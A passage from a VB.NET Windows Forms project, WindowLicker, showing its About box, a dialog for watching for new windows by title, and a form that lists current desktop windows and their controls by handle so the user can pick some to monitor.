84 | 'LabelProductName 85 | ' 86 | Me.LabelProductName.Dock = System.Windows.Forms.DockStyle.Fill 87 | Me.LabelProductName.Location = New System.Drawing.Point(136, 0) 88 | Me.LabelProductName.Margin = New System.Windows.Forms.Padding(6, 0, 3, 0) 89 | Me.LabelProductName.MaximumSize = New System.Drawing.Size(0, 17) 90 | Me.LabelProductName.Name = "LabelProductName" 91 | Me.LabelProductName.Size = New System.Drawing.Size(257, 17) 92 | Me.LabelProductName.TabIndex = 0 93 | Me.LabelProductName.Text = "Product Name" 94 | Me.LabelProductName.TextAlign = System.Drawing.ContentAlignment.MiddleLeft 95 | ' 96 | 'LabelVersion 97 | ' 98 | Me.LabelVersion.Dock = System.Windows.Forms.DockStyle.Fill 99 | Me.LabelVersion.Location = New System.Drawing.Point(136, 25) 100 | Me.LabelVersion.Margin = New System.Windows.Forms.Padding(6, 0, 3, 0) 101 | Me.LabelVersion.MaximumSize = New System.Drawing.Size(0, 17) 102 | Me.LabelVersion.Name = "LabelVersion" 103 | Me.LabelVersion.Size = New System.Drawing.Size(257, 17) 104 | Me.LabelVersion.TabIndex = 0 105 | Me.LabelVersion.Text = "Version" 106 | Me.LabelVersion.TextAlign = System.Drawing.ContentAlignment.MiddleLeft 107 | ' 108 | 'LabelCopyright 109 | ' 110 | Me.LabelCopyright.Dock = System.Windows.Forms.DockStyle.Fill 111 | Me.LabelCopyright.Location = New System.Drawing.Point(136, 50) 112 | Me.LabelCopyright.Margin = New System.Windows.Forms.Padding(6, 0, 3, 0) 113 | Me.LabelCopyright.MaximumSize = New System.Drawing.Size(0, 17) 114 | Me.LabelCopyright.Name = "LabelCopyright" 115 | Me.LabelCopyright.Size = New System.Drawing.Size(257, 17) 116 | Me.LabelCopyright.TabIndex = 0 117 | Me.LabelCopyright.Text = "Copyright" 118 | Me.LabelCopyright.TextAlign = System.Drawing.ContentAlignment.MiddleLeft 119 | ' 120 | 'LabelCompanyName 121 | ' 122 | Me.LabelCompanyName.Dock = System.Windows.Forms.DockStyle.Fill 123 | Me.LabelCompanyName.Location = New System.Drawing.Point(136, 75) 124 | Me.LabelCompanyName.Margin = New System.Windows.Forms.Padding(6, 0, 3, 0) 125 | Me.LabelCompanyName.MaximumSize = New System.Drawing.Size(0, 17) 126 | Me.LabelCompanyName.Name = "LabelCompanyName" 127 | Me.LabelCompanyName.Size = New System.Drawing.Size(257, 17) 128 | Me.LabelCompanyName.TabIndex = 0 129 | Me.LabelCompanyName.Text = "Company Name" 130 | Me.LabelCompanyName.TextAlign = System.Drawing.ContentAlignment.MiddleLeft 131 | ' 132 | 'TextBoxDescription 133 | ' 134 | Me.TextBoxDescription.Dock = System.Windows.Forms.DockStyle.Fill 135 | Me.TextBoxDescription.Location = New System.Drawing.Point(136, 103) 136 | Me.TextBoxDescription.Margin = New System.Windows.Forms.Padding(6, 3, 3, 3) 137 | Me.TextBoxDescription.Multiline = True 138 | Me.TextBoxDescription.Name = "TextBoxDescription" 139 | Me.TextBoxDescription.ReadOnly = True 140 | Me.TextBoxDescription.ScrollBars = System.Windows.Forms.ScrollBars.Both 141 | Me.TextBoxDescription.Size = New System.Drawing.Size(257, 123) 142 | Me.TextBoxDescription.TabIndex = 0 143 | Me.TextBoxDescription.TabStop = False 144 | Me.TextBoxDescription.Text = resources.GetString("TextBoxDescription.Text") 145 | ' 146 | 'OKButton 147 | ' 148 | Me.OKButton.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) 149 | Me.OKButton.DialogResult = System.Windows.Forms.DialogResult.Cancel 150 | Me.OKButton.Location = New System.Drawing.Point(318, 232) 151 | Me.OKButton.Name = "OKButton" 152 | Me.OKButton.Size = New System.Drawing.Size(75, 23) 153 | Me.OKButton.TabIndex = 0 154 | Me.OKButton.Text = "&OK" 155 | ' 156 | 'frmAbout 157 | ' 158 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 159 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 160 | Me.CancelButton = Me.OKButton 161 | Me.ClientSize = New System.Drawing.Size(414, 276) 162 | Me.Controls.Add(Me.TableLayoutPanel) 163 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog 164 | Me.MaximizeBox = False 165 | Me.MinimizeBox = False 166 | Me.Name = "frmAbout" 167 | Me.Padding = New System.Windows.Forms.Padding(9) 168 | Me.ShowInTaskbar = False 169 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent 170 | Me.Text = "About WindowClicker" 171 | Me.TableLayoutPanel.ResumeLayout(False) 172 | Me.TableLayoutPanel.PerformLayout() 173 | CType(Me.LogoPictureBox, System.ComponentModel.ISupportInitialize).EndInit() 174 | Me.ResumeLayout(False) 175 | 176 | End Sub 177 | 178 | End Class 179 | -------------------------------------------------------------------------------- /WindowLicker/frmAbout.vb: -------------------------------------------------------------------------------- 1 | Public NotInheritable Class frmAbout 2 | 3 | Private Sub AboutBox1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 4 | ' Set the title of the form. 5 | Dim ApplicationTitle As String 6 | If My.Application.Info.Title <> "" Then 7 | ApplicationTitle = My.Application.Info.Title 8 | Else 9 | ApplicationTitle = System.IO.Path.GetFileNameWithoutExtension(My.Application.Info.AssemblyName) 10 | End If 11 | Me.Text = String.Format("About {0}", ApplicationTitle) 12 | ' Initialize all of the text displayed on the About Box. 13 | ' TODO: Customize the application's assembly information in the "Application" pane of the project 14 | ' properties dialog (under the "Project" menu). 15 | Me.LabelProductName.Text = My.Application.Info.ProductName 16 | Me.LabelVersion.Text = String.Format("Version {0}", My.Application.Info.Version.ToString) 17 | Me.LabelCopyright.Text = My.Application.Info.Copyright 18 | Me.LabelCompanyName.Text = My.Application.Info.CompanyName 19 | Me.TextBoxDescription.Text = My.Application.Info.Description 20 | End Sub 21 | 22 | Private Sub OKButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles OKButton.Click 23 | Me.Close() 24 | End Sub 25 | 26 | End Class 27 | -------------------------------------------------------------------------------- /WindowLicker/frmAddWindow.Designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class frmAddWindow 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(frmAddWindow)) 26 | Me.lblTitle = New System.Windows.Forms.Label() 27 | Me.txtWindow = New System.Windows.Forms.TextBox() 28 | Me.gbSearch = New System.Windows.Forms.GroupBox() 29 | Me.rbPartial = New System.Windows.Forms.RadioButton() 30 | Me.rbFull = New System.Windows.Forms.RadioButton() 31 | Me.btnOK = New System.Windows.Forms.Button() 32 | Me.btnCancel = New System.Windows.Forms.Button() 33 | Me.gbSearch.SuspendLayout() 34 | Me.SuspendLayout() 35 | ' 36 | 'lblTitle 37 | ' 38 | Me.lblTitle.AutoSize = True 39 | Me.lblTitle.Location = New System.Drawing.Point(2, 11) 40 | Me.lblTitle.Name = "lblTitle" 41 | Me.lblTitle.Size = New System.Drawing.Size(72, 13) 42 | Me.lblTitle.TabIndex = 0 43 | Me.lblTitle.Text = "Window Title:" 44 | ' 45 | 'txtWindow 46 | ' 47 | Me.txtWindow.Location = New System.Drawing.Point(78, 8) 48 | Me.txtWindow.Name = "txtWindow" 49 | Me.txtWindow.Size = New System.Drawing.Size(343, 20) 50 | Me.txtWindow.TabIndex = 1 51 | ' 52 | 'gbSearch 53 | ' 54 | Me.gbSearch.Controls.Add(Me.rbPartial) 55 | Me.gbSearch.Controls.Add(Me.rbFull) 56 | Me.gbSearch.Location = New System.Drawing.Point(5, 34) 57 | Me.gbSearch.Name = "gbSearch" 58 | Me.gbSearch.Size = New System.Drawing.Size(239, 69) 59 | Me.gbSearch.TabIndex = 3 60 | Me.gbSearch.TabStop = False 61 | Me.gbSearch.Text = "Search Type" 62 | ' 63 | 'rbPartial 64 | ' 65 | Me.rbPartial.AutoSize = True 66 | Me.rbPartial.Location = New System.Drawing.Point(7, 41) 67 | Me.rbPartial.Name = "rbPartial" 68 | Me.rbPartial.Size = New System.Drawing.Size(202, 17) 69 | Me.rbPartial.TabIndex = 1 70 | Me.rbPartial.TabStop = True 71 | Me.rbPartial.Text = "Window Title Contains Specified Text" 72 | Me.rbPartial.UseVisualStyleBackColor = True 73 | ' 74 | 'rbFull 75 | ' 76 | Me.rbFull.AutoSize = True 77 | Me.rbFull.Checked = True 78 | Me.rbFull.Location = New System.Drawing.Point(7, 20) 79 | Me.rbFull.Name = "rbFull" 80 | Me.rbFull.Size = New System.Drawing.Size(139, 17) 81 | Me.rbFull.TabIndex = 0 82 | Me.rbFull.TabStop = True 83 | Me.rbFull.Text = "Match Full Window Title" 84 | Me.rbFull.UseVisualStyleBackColor = True 85 | ' 86 | 'btnOK 87 | ' 88 | Me.btnOK.Location = New System.Drawing.Point(264, 80) 89 | Me.btnOK.Name = "btnOK" 90 | Me.btnOK.Size = New System.Drawing.Size(75, 23) 91 | Me.btnOK.TabIndex = 5 92 | Me.btnOK.Text = "OK" 93 | Me.btnOK.UseVisualStyleBackColor = True 94 | ' 95 | 'btnCancel 96 | ' 97 | Me.btnCancel.Location = New System.Drawing.Point(346, 80) 98 | Me.btnCancel.Name = "btnCancel" 99 | Me.btnCancel.Size = New System.Drawing.Size(75, 23) 100 | Me.btnCancel.TabIndex = 4 101 | Me.btnCancel.Text = "Cancel" 102 | Me.btnCancel.UseVisualStyleBackColor = True 103 | ' 104 | 'frmAddWindow 105 | ' 106 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 107 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 108 | Me.ClientSize = New System.Drawing.Size(430, 116) 109 | Me.Controls.Add(Me.btnOK) 110 | Me.Controls.Add(Me.btnCancel) 111 | Me.Controls.Add(Me.gbSearch) 112 | Me.Controls.Add(Me.txtWindow) 113 | Me.Controls.Add(Me.lblTitle) 114 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle 115 | Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) 116 | Me.MaximizeBox = False 117 | Me.MinimizeBox = False 118 | Me.Name = "frmAddWindow" 119 | Me.Text = "Monitor For New Window" 120 | Me.gbSearch.ResumeLayout(False) 121 | Me.gbSearch.PerformLayout() 122 | Me.ResumeLayout(False) 123 | Me.PerformLayout() 124 | 125 | End Sub 126 | Friend WithEvents lblTitle As System.Windows.Forms.Label 127 | Friend WithEvents txtWindow As System.Windows.Forms.TextBox 128 | Friend WithEvents gbSearch As System.Windows.Forms.GroupBox 129 | Friend WithEvents rbPartial As System.Windows.Forms.RadioButton 130 | Friend WithEvents rbFull As System.Windows.Forms.RadioButton 131 | Friend WithEvents btnOK As System.Windows.Forms.Button 132 | Friend WithEvents btnCancel As System.Windows.Forms.Button 133 | End Class 134 | -------------------------------------------------------------------------------- /WindowLicker/frmAddWindow.vb: -------------------------------------------------------------------------------- 1 | ' Copyright (C) 2014 Nick Dunn 2 | ' 3 | ' This program is free software: you can redistribute it and/or modify 4 | ' it under the terms of the GNU General Public License as published by 5 | ' the Free Software Foundation, either version 3 of the License, or 6 | ' (at your option) any later version. 7 | ' 8 | ' This program is distributed in the hope that it will be useful, 9 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | ' GNU General Public License for more details. 12 | ' 13 | ' You should have received a copy of the GNU General Public License 14 | ' along with this program. If not, see . 15 | 16 | Option Explicit On 17 | 18 | Public Class frmAddWindow 19 | 20 | Private Sub btnCancel_Click(sender As System.Object, e As System.EventArgs) Handles btnCancel.Click 21 | Me.Dispose() 22 | End Sub 23 | 24 | Private Sub btnOK_Click(sender As System.Object, e As System.EventArgs) Handles btnOK.Click 25 | ' Check if window title is in dictionary 26 | ' If new window then add the new details to the dictionary 27 | ' If already in dictionary then modify the existing entry 28 | '======================================================== 29 | Dim strTitle As String 30 | Dim nwNewWindow As NewWindow 31 | 32 | 33 | strTitle = txtWindow.Text.Trim 34 | 35 | If strTitle = "" Then 36 | MsgBox("Please provide a window title!", MsgBoxStyle.Exclamation, "Error") 37 | Exit Sub 38 | Else 39 | 40 | If NewWindows.ContainsKey(strTitle) Then 41 | ' Modify existing item 42 | NewWindows.Item(strTitle).IsFullTitle = rbFull.Checked 43 | Else 44 | ' Add new item 45 | nwNewWindow = New NewWindow(strTitle, rbFull.Checked) 46 | NewWindows.Add(strTitle, nwNewWindow) 47 | End If 48 | End If 49 | 50 | 51 | '== Activate monitor if required == 52 | IsGuiMonitor = ((NewWindows.Count > 0) Or (MonitoredWindows.Count > 0) Or (frmMain.SnipCount > 0)) 53 | 54 | frmMain.timTimer.Enabled = IsGuiMonitor 55 | frmMain.ActivateGUIMonitorToolStripMenuItem.Checked = IsGuiMonitor 56 | 57 | Me.Dispose() 58 | 59 | End Sub 60 | 61 | End Class -------------------------------------------------------------------------------- /WindowLicker/frmCurrentWindows.Designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class frmCurrentWindows 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Me.components = New System.ComponentModel.Container() 26 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(frmCurrentWindows)) 27 | Me.spMain = New System.Windows.Forms.SplitContainer() 28 | Me.spWindows = New System.Windows.Forms.SplitContainer() 29 | Me.tvWindows = New System.Windows.Forms.TreeView() 30 | Me.ilControls = New System.Windows.Forms.ImageList(Me.components) 31 | Me.lvWindows = New System.Windows.Forms.ListView() 32 | Me.chHwnd = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) 33 | Me.chControlType = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) 34 | Me.chName = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) 35 | Me.chText = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) 36 | Me.btnRefresh = New System.Windows.Forms.Button() 37 | Me.btnOK = New System.Windows.Forms.Button() 38 | Me.btnCancel = New System.Windows.Forms.Button() 39 | CType(Me.spMain, System.ComponentModel.ISupportInitialize).BeginInit() 40 | Me.spMain.Panel1.SuspendLayout() 41 | Me.spMain.Panel2.SuspendLayout() 42 | Me.spMain.SuspendLayout() 43 | CType(Me.spWindows, System.ComponentModel.ISupportInitialize).BeginInit() 44 | Me.spWindows.Panel1.SuspendLayout() 45 | Me.spWindows.Panel2.SuspendLayout() 46 | Me.spWindows.SuspendLayout() 47 | Me.SuspendLayout() 48 | ' 49 | 'spMain 50 | ' 51 | Me.spMain.Dock = System.Windows.Forms.DockStyle.Fill 52 | Me.spMain.IsSplitterFixed = True 53 | Me.spMain.Location = New System.Drawing.Point(0, 0) 54 | Me.spMain.Name = "spMain" 55 | Me.spMain.Orientation = System.Windows.Forms.Orientation.Horizontal 56 | ' 57 | 'spMain.Panel1 58 | ' 59 | Me.spMain.Panel1.Controls.Add(Me.spWindows) 60 | ' 61 | 'spMain.Panel2 62 | ' 63 | Me.spMain.Panel2.Controls.Add(Me.btnRefresh) 64 | Me.spMain.Panel2.Controls.Add(Me.btnOK) 65 | Me.spMain.Panel2.Controls.Add(Me.btnCancel) 66 | Me.spMain.Size = New System.Drawing.Size(880, 546) 67 | Me.spMain.SplitterDistance = 517 68 | Me.spMain.TabIndex = 0 69 | ' 70 | 'spWindows 71 | ' 72 | Me.spWindows.Dock = System.Windows.Forms.DockStyle.Fill 73 | Me.spWindows.Location = New System.Drawing.Point(0, 0) 74 | Me.spWindows.Name = "spWindows" 75 | ' 76 | 'spWindows.Panel1 77 | ' 78 | Me.spWindows.Panel1.Controls.Add(Me.tvWindows) 79 | ' 80 | 'spWindows.Panel2 81 | ' 82 | Me.spWindows.Panel2.Controls.Add(Me.lvWindows) 83 | Me.spWindows.Size = New System.Drawing.Size(880, 517) 84 | Me.spWindows.SplitterDistance = 293 85 | Me.spWindows.TabIndex = 0 86 | ' 87 | 'tvWindows 88 | ' 89 | Me.tvWindows.Dock = System.Windows.Forms.DockStyle.Fill 90 | Me.tvWindows.ImageIndex = 0 91 | Me.tvWindows.ImageList = Me.ilControls 92 | Me.tvWindows.Location = New System.Drawing.Point(0, 0) 93 | Me.tvWindows.Name = "tvWindows" 94 | Me.tvWindows.SelectedImageIndex = 0 95 | Me.tvWindows.Size = New System.Drawing.Size(293, 517) 96 | Me.tvWindows.TabIndex = 0 97 | ' 98 | 'ilControls 99 | ' 100 | Me.ilControls.ImageStream = CType(resources.GetObject("ilControls.ImageStream"), System.Windows.Forms.ImageListStreamer) 101 | Me.ilControls.TransparentColor = System.Drawing.Color.Transparent 102 | Me.ilControls.Images.SetKeyName(0, "Computer.png") 103 | Me.ilControls.Images.SetKeyName(1, "AppWindowHS.bmp") 104 | Me.ilControls.Images.SetKeyName(2, "ThumbnailView.png") 105 | ' 106 | 'lvWindows 107 | ' 108 | Me.lvWindows.CheckBoxes = True 109 | Me.lvWindows.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {Me.chHwnd, Me.chControlType, Me.chName, Me.chText}) 110 | Me.lvWindows.Dock = System.Windows.Forms.DockStyle.Fill 111 | Me.lvWindows.Location = New System.Drawing.Point(0, 0) 112 | Me.lvWindows.Name = "lvWindows" 113 | Me.lvWindows.Size = New System.Drawing.Size(583, 517) 114 | Me.lvWindows.TabIndex = 0 115 | Me.lvWindows.UseCompatibleStateImageBehavior = False 116 | Me.lvWindows.View = System.Windows.Forms.View.Details 117 | ' 118 | 'chHwnd 119 | ' 120 | Me.chHwnd.Text = "hWnd" 121 | Me.chHwnd.Width = 85 122 | ' 123 | 'chControlType 124 | ' 125 | Me.chControlType.Text = "Control Type" 126 | Me.chControlType.Width = 122 127 | ' 128 | 'chName 129 | ' 130 | Me.chName.Text = "Name" 131 | Me.chName.Width = 111 132 | ' 133 | 'chText 134 | ' 135 | Me.chText.Text = "Text" 136 | Me.chText.Width = 308 137 | ' 138 | 'btnRefresh 139 | ' 140 | Me.btnRefresh.Location = New System.Drawing.Point(5, 1) 141 | Me.btnRefresh.Name = "btnRefresh" 142 | Me.btnRefresh.Size = New System.Drawing.Size(75, 23) 143 | Me.btnRefresh.TabIndex = 2 144 | Me.btnRefresh.Text = "Refresh" 145 | Me.btnRefresh.UseVisualStyleBackColor = True 146 | ' 147 | 'btnOK 148 | ' 149 | Me.btnOK.Location = New System.Drawing.Point(720, 1) 150 | Me.btnOK.Name = "btnOK" 151 | Me.btnOK.Size = New System.Drawing.Size(75, 23) 152 | Me.btnOK.TabIndex = 1 153 | Me.btnOK.Text = "OK" 154 | Me.btnOK.UseVisualStyleBackColor = True 155 | ' 156 | 'btnCancel 157 | ' 158 | Me.btnCancel.Location = New System.Drawing.Point(800, 1) 159 | Me.btnCancel.Name = "btnCancel" 160 | Me.btnCancel.Size = New System.Drawing.Size(75, 23) 161 | Me.btnCancel.TabIndex = 0 162 | Me.btnCancel.Text = "Cancel" 163 | Me.btnCancel.UseVisualStyleBackColor = True 164 | ' 165 | 'frmCurrentWindows 166 | ' 167 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 168 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 169 | Me.ClientSize = New System.Drawing.Size(880, 546) 170 | Me.Controls.Add(Me.spMain) 171 | Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) 172 | Me.Name = "frmCurrentWindows" 173 | Me.Text = "Current Windows" 174 | Me.spMain.Panel1.ResumeLayout(False) 175 | Me.spMain.Panel2.ResumeLayout(False) 176 | CType(Me.spMain, System.ComponentModel.ISupportInitialize).EndInit() 177 | Me.spMain.ResumeLayout(False) 178 | Me.spWindows.Panel1.ResumeLayout(False) 179 | Me.spWindows.Panel2.ResumeLayout(False) 180 | CType(Me.spWindows, System.ComponentModel.ISupportInitialize).EndInit() 181 | Me.spWindows.ResumeLayout(False) 182 | Me.ResumeLayout(False) 183 | 184 | End Sub 185 | Friend WithEvents spMain As System.Windows.Forms.SplitContainer 186 | Friend WithEvents spWindows As System.Windows.Forms.SplitContainer 187 | Friend WithEvents tvWindows As System.Windows.Forms.TreeView 188 | Friend WithEvents lvWindows As System.Windows.Forms.ListView 189 | Friend WithEvents btnOK As System.Windows.Forms.Button 190 | Friend WithEvents btnCancel As System.Windows.Forms.Button 191 | Friend WithEvents chHwnd As System.Windows.Forms.ColumnHeader 192 | Friend WithEvents chControlType As System.Windows.Forms.ColumnHeader 193 | Friend WithEvents chText As System.Windows.Forms.ColumnHeader 194 | Friend WithEvents ilControls As System.Windows.Forms.ImageList 195 | Friend WithEvents btnRefresh As System.Windows.Forms.Button 196 | Friend WithEvents chName As System.Windows.Forms.ColumnHeader 197 | End Class 198 | -------------------------------------------------------------------------------- /WindowLicker/frmCurrentWindows.vb: -------------------------------------------------------------------------------- 1 | ' Copyright (C) 2014 Nick Dunn 2 | ' 3 | ' This program is free software: you can redistribute it and/or modify 4 | ' it under the terms of the GNU General Public License as published by 5 | ' the Free Software Foundation, either version 3 of the License, or 6 | ' (at your option) any later version. 7 | ' 8 | ' This program is distributed in the hope that it will be useful, 9 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | ' GNU General Public License for more details. 12 | ' 13 | ' You should have received a copy of the GNU General Public License 14 | ' along with this program. If not, see . 15 | 16 | Option Explicit On 17 | 18 | Public Class frmCurrentWindows 19 | 20 | '=============================================================== 21 | '== Temporary placeholder for anything that will be monitored == 22 | '== On clicking OK this list will replace the original list == 23 | '--------------------------------------------------------------- 24 | Private dicWindows As New Dictionary(Of IntPtr, MonitoredWindow) 25 | 26 | 27 | Private Sub btnCancel_Click(sender As System.Object, e As System.EventArgs) Handles btnCancel.Click 28 | Me.Dispose() 29 | End Sub 30 | 31 | Private Sub frmCurrentWindows_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load 32 | ' Popultate controls with current windows 33 | '======================================== 34 | 35 | '== Get current visible windows and add to treeview == 36 | RefreshTree() 37 | 38 | '== Mark any windows that are currently being monitored == 39 | MarkMonitoredWindows() 40 | 41 | End Sub 42 | 43 | Private Sub MarkMonitoredWindows() 44 | ' Mark any windows that are currently being monitored in the ListView 45 | '==================================================================== 46 | 47 | If lvWindows.Items.Count < 1 Then Exit Sub 48 | 49 | For Each itmItem As IntPtr In MonitoredWindows.Keys 50 | If lvWindows.Items.ContainsKey(itmItem.ToString) Then 51 | lvWindows.Items(itmItem.ToString).Checked = True 52 | End If 53 | Next 54 | 55 | End Sub 56 | 57 | Private Sub frmCurrentWindows_Resize(sender As Object, e As System.EventArgs) Handles Me.Resize 58 | ' Reposition the OK and Cancel buttons when form is resized 59 | '========================================================== 60 | On Error Resume Next 61 | 62 | 'If Me.Width < 200 Then Me.Width = 200 63 | 64 | btnCancel.Left = Me.Width - 96 65 | btnOK.Left = btnCancel.Left - 80 66 | 67 | End Sub 68 | 69 | Private Sub tvWindows_AfterSelect(sender As System.Object, e As System.Windows.Forms.TreeViewEventArgs) Handles tvWindows.AfterSelect 70 | ' Show windows or controls as appropriate 71 | '======================================== 72 | 73 | If tvWindows.Nodes("0").IsSelected = True Then 74 | ShowWindows() 75 | Else 76 | ShowControls() 77 | End If 78 | 79 | End Sub 80 | 81 | Private Sub ShowWindows() 82 | ' Show windows for the desktop 83 | '============================= 84 | Dim lviItem As ListViewItem 85 | 86 | 87 | lvWindows.Items.Clear() 88 | For Each ewWindow As ExistingWindow In ExistingWindows.Values 89 | 90 | lviItem = New ListViewItem 91 | lviItem.Name = ewWindow.hWnd.ToString 92 | lviItem.Text = ewWindow.hWnd.ToString 93 | lviItem.SubItems.Add(ewWindow.ProcessName) 94 | lviItem.SubItems.Add(ewWindow.WindowTitle) 95 | lvWindows.Items.Add(lviItem) 96 | Next 97 | 98 | MarkMonitoredWindows() 99 | 100 | End Sub 101 | 102 | Private Sub ShowControls() 103 | ' Show controls for this Window 104 | '============================== 105 | Dim ecExistingControl As ExistingControl 106 | Dim lviItem As ListViewItem 107 | Dim hWnd As IntPtr 108 | 109 | 110 | '== Get handle for the window == 111 | hWnd = FindWindow(vbNullString, tvWindows.SelectedNode.Text) 112 | 113 | '== Refresh list of controls for this window title == 114 | EnumerateControls(hWnd) 115 | 116 | '== Clear the listview == 117 | lvWindows.Items.Clear() 118 | 119 | 120 | '== Check that a valid list exists == 121 | If Not ExistingControlGroups.ContainsKey(hWnd) Then Exit Sub 122 | 123 | '== Populate with new items == 124 | For Each ptrHandle As IntPtr In ExistingControlGroups.Item(hWnd) 125 | 126 | ecExistingControl = ExistingControls.Item(ptrHandle) 127 | 128 | lviItem = New ListViewItem 129 | lviItem.Name = ptrHandle.ToString 130 | lviItem.Text = ptrHandle.ToString 131 | lviItem.SubItems.Add(ecExistingControl.ControlClass) 132 | lviItem.SubItems.Add(ecExistingControl.ControlName) 133 | lviItem.SubItems.Add(ecExistingControl.ControlText) 134 | lvWindows.Items.Add(lviItem) 135 | Next 136 | 137 | MarkMonitoredWindows() 138 | 139 | End Sub 140 | 141 | Private Sub btnRefresh_Click(sender As System.Object, e As System.EventArgs) Handles btnRefresh.Click 142 | ' Clear the treeview 143 | ' Get current visible windows and add to treeview 144 | '================================================ 145 | 146 | RefreshTree() 147 | 148 | End Sub 149 | 150 | Private Sub RefreshTree() 151 | ' Populate dictionary with current, visible windows and add to treeview 152 | '====================================================================== 153 | 154 | '== Clear any previous windows from the dictionary and GUI== 155 | ExistingWindows.Clear() 156 | tvWindows.Nodes.Clear() 157 | 158 | '== Add desktop node - all windows nodes to be children of desktop == 159 | tvWindows.Nodes.Add("0", "DeskTop", 0) 160 | 161 | '== Get current windows and populate the treeview == 162 | EnumerateWindows() 163 | For Each itmItem As KeyValuePair(Of IntPtr, ExistingWindow) In ExistingWindows 164 | tvWindows.Nodes("0").Nodes.Add(itmItem.Key.ToString, itmItem.Value.WindowTitle, 1) 165 | Next 166 | 167 | '== Expand the tree if any windows are present == 168 | If tvWindows.Nodes("0").Nodes.Count > 0 Then tvWindows.Nodes("0").Expand() 169 | 170 | End Sub 171 | 172 | Private Sub btnOK_Click(sender As System.Object, e As System.EventArgs) Handles btnOK.Click 173 | ' Modify the dictionary with any windows or controls which will be monitored, then exit 174 | '====================================================================================== 175 | 176 | '== Copy new monitor lists across == 177 | MonitoredWindows = New Dictionary(Of IntPtr, MonitoredWindow)(dicWindows) 178 | 179 | '== Activate monitor if required == 180 | IsGuiMonitor = ((NewWindows.Count > 0) Or (MonitoredWindows.Count > 0) Or (frmMain.SnipCount > 0)) 181 | 182 | frmMain.timTimer.Enabled = IsGuiMonitor 183 | frmMain.ActivateGUIMonitorToolStripMenuItem.Checked = IsGuiMonitor 184 | 185 | '== Close form == 186 | Me.Dispose() 187 | 188 | End Sub 189 | 190 | Private Sub lvWindows_ItemCheck(sender As Object, e As System.Windows.Forms.ItemCheckEventArgs) Handles lvWindows.ItemCheck 191 | ' Add/remove the selected item to/from the dictionary as appropriate 192 | '=================================================================== 193 | Dim mwWindow As MonitoredWindow 194 | 195 | 196 | '== Is item being checked or unchecked? == 197 | If e.NewValue = CheckState.Checked Then 198 | 199 | '== Check if we have a window or a control == 200 | If ExistingWindows.ContainsKey(lvWindows.Items(e.Index).Name) Then 201 | mwWindow = New MonitoredWindow(ExistingWindows.Item(lvWindows.Items(e.Index).Name).WindowTitle, lvWindows.Items(e.Index).Name) 202 | ElseIf ExistingControls.ContainsKey(lvWindows.Items(e.Index).Name) Then 203 | mwWindow = New MonitoredWindow(ExistingControls.Item(lvWindows.Items(e.Index).Name).ControlText, lvWindows.Items(e.Index).Name) 204 | Else 205 | '== This shouldn't happen == 206 | Exit Sub 207 | End If 208 | 209 | '== Add to the dictionary of monitored windows == 210 | If dicWindows.ContainsKey(lvWindows.Items(e.Index).Name) Then 211 | dicWindows.Item(lvWindows.Items(e.Index).Name) = mwWindow 212 | Else 213 | dicWindows.Add(lvWindows.Items(e.Index).Name, mwWindow) 214 | End If 215 | Else 216 | '== Remove from dictionary == 217 | If dicWindows.ContainsKey(lvWindows.Items(e.Index).Name) Then 218 | dicWindows.Remove(lvWindows.Items(e.Index).Name) 219 | End If 220 | End If 221 | 222 | End Sub 223 | 224 | End Class -------------------------------------------------------------------------------- 